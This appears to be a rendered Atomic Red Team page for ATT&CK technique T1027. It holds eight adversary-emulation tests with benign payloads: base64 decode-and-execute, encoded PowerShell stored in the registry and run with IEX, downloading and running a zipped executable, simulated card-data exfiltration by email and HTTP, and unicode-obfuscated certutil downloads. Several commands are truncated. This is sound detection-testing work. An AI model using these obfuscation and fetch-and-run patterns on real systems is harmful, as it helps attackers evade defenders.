

# T1027 - Obfuscated Files or Information

## Description from ATT&CK

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](#) for [User Execution](#). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A We Live Security Analysis)

Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. (Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also obfuscate commands executed from payloads or directly via a [Command and Scripting Interpreter](#). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)

## Atomic Tests

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## Atomic Test #1 - Decode base64 Data into Script

Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team` and `uname -v`

**Supported Platforms:** macOS, Linux

**auto\_generated\_guid:** f45df6be-2e1e-4136-a384-8f18ab3826fb

**Inputs:**

Name	Description	Type	Default Value
shell_command	command to encode	String	echo Hello from the Atomic Red Team && uname -v

**Attack Commands:** Run with `sh` !

```
cat /tmp/encoded.dat | base64 -d > /tmp/art.sh
chmod +x /tmp/art.sh
/tmp/art.sh
```

**Cleanup Commands:**

```
rm /tmp/encoded.dat
rm /tmp/art.sh
```

**Dependencies:** Run with `sh` !

**Description:** encode the command into base64 file

**Check Prereq Commands:**

```
exit 1
```

**Get Prereq Commands:**

```
echo "${shell_command}" | base64 > /tmp/encoded.dat
```

## Atomic Test #2 - Execute base64-encoded PowerShell

Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"

**Supported Platforms:** Windows

**auto\_generated\_guid:** a50d5a97-2531-499e-a1de-5544c74432c6

**Inputs:**

Name	Description	Type	Default Value
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powershell_command	PowerShell command to encode	String	Write-Host "Hey, Atomic!"
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Attack Commands: Run with `powershell11`!

```
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand
powershell.exe -EncodedCommand $EncodedCommand
```

## Atomic Test #3 - Execute base64-encoded PowerShell from Windows Registry

Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute encoded command and read/write from the registry.

Supported Platforms: Windows

auto\_generated\_guid: 450e7218-7915-4be4-8b9b-464a49eafcec

Inputs:

Name	Description	Type	Default Value
registry_key_storage	Windows Registry Key to store code	String	HKCU:Software\Microsoft\Windows\C
powershell_command	PowerShell command to encode	String	Write-Host "Hey, Atomic!"
registry_entry_storage	Windows Registry entry to store code under key	String	Debug

Attack Commands: Run with `powershell11`!

```
$OriginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)
$EncodedCommand

Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_e
powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Conver`
```

Cleanup Commands:

```
Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_stor
```

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Go to file

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.github

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atomic\_red\_team

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## Atomic Test #4 - Execution from Compressed File

Mimic execution of compressed executable. When successfully executed, calculator.exe will open.

Supported Platforms: Windows

auto\_generated\_guid: f8c8a909-5f29-49ac-9244-413936ce6d1f

Inputs:

Name	Description	Type	Default Value
url_path	url to download Exe	Url	<a href="https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip">https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip</a>

Attack Commands: Run with `command_prompt` !

```
"%temp%\temp_T1027.zip\T1027.exe"
```

Cleanup Commands:

```
taskkill /f /im calculator.exe >nul 2>nul
rmdir /S /Q %temp%\temp_T1027.zip >nul 2>nul
del /Q "%temp%\T1027.zip" >nul 2>nul
```

Dependencies: Run with `powershell` !

Description: T1027.exe must exist on disk at \$env:temp\temp\_T1027.zip\T1027.exe

Check Prereq Commands:

```
if (Test-Path $env:temp\temp_T1027.zip\T1027.exe) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]
Invoke-WebRequest "#{url_path}" -OutFile "$env:temp\T1027.zip"
Expand-Archive -path "$env:temp\T1027.zip" -DestinationPath "$env:temp\t
```

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## Atomic Test #5 - DLP Evasion via Sensitive Data in VBA Macro over email

Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

Supported Platforms: Windows

auto\_generated\_guid: 129edb75-d7b8-42cd-a8ba-1f3db64ec4ad

Inputs:

Name	Description	Type	Default Value
input_file	Path of the XLSM file	Path	PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm

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sender	sender email	String	<a href="#">test@corp.com</a>
receiver	receiver email	String	<a href="#">test@corp.com</a>
smtp_server	SMTP Server IP Address	String	127.0.0.1

Attack Commands: Run with powershell!

```
Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_'
```

## Atomic Test #6 - DLP Evasion via Sensitive Data in VBA Macro over HTTP

Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP. Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.

Supported Platforms: Windows

auto\_generated\_guid: e2d85e66-cb66-4ed7-93b1-833fc56c9319

Inputs:

Name	Description	Type	Default Value
input_file	Path of the XLSM file	Path	PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm
ip_address	Destination IP address	String	127.0.0.1

Attack Commands: Run with powershell!

```
Invoke-WebRequest -Uri #{ip_address} -Method POST -Body #{input_file}
```

## Atomic Test #7 - Obfuscated Command in PowerShell

This is an obfuscated PowerShell command which when executed prints "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.

Supported Platforms: Windows

auto\_generated\_guid: 8b3f4ed6-077b-4bdd-891c-2d237f19410f

Attack Commands: Run with powershell!

```
$cmDwhy =[TyPe]("{0}{1}" -f 'S','TrING') ; $pz2Sb0 =[TYpE]("{1}{0}{2
```

## Atomic Test #8 - Obfuscated Command Line using special Unicode characters

This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ʃ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters). Reference: <https://wietze.github.io/blog/windows-command-line-obfuscation>

Supported Platforms: Windows

auto\_generated\_guid: e68b945c-52d0-4dd9-a5e8-d173d70c448f

Inputs:

Name	Description	Type	Default Value
remote_file	URL of file to download	Url	<a href="https://raw.githubusercontent.com/redcanaryco/red-team/master/LICENSE.txt">https://raw.githubusercontent.com/redcanaryco/red-team/master/LICENSE.txt</a>
local_path	Local path/filename to save the downloaded file to	Path	Atomic-license.txt

Run it with these steps!

1. Copy the following command into the command prompt after replacing #{remote\_file} and #{local\_path} with your desired URL and filename.
- certutil -urlcache - -"ʃᵀᵀᵀ" #{remote\_file} #{local\_path}ʃᵀᵀᵀ
2. Press enter to execute the command. You will find the file or webpage you specified saved to the file you specified in the command.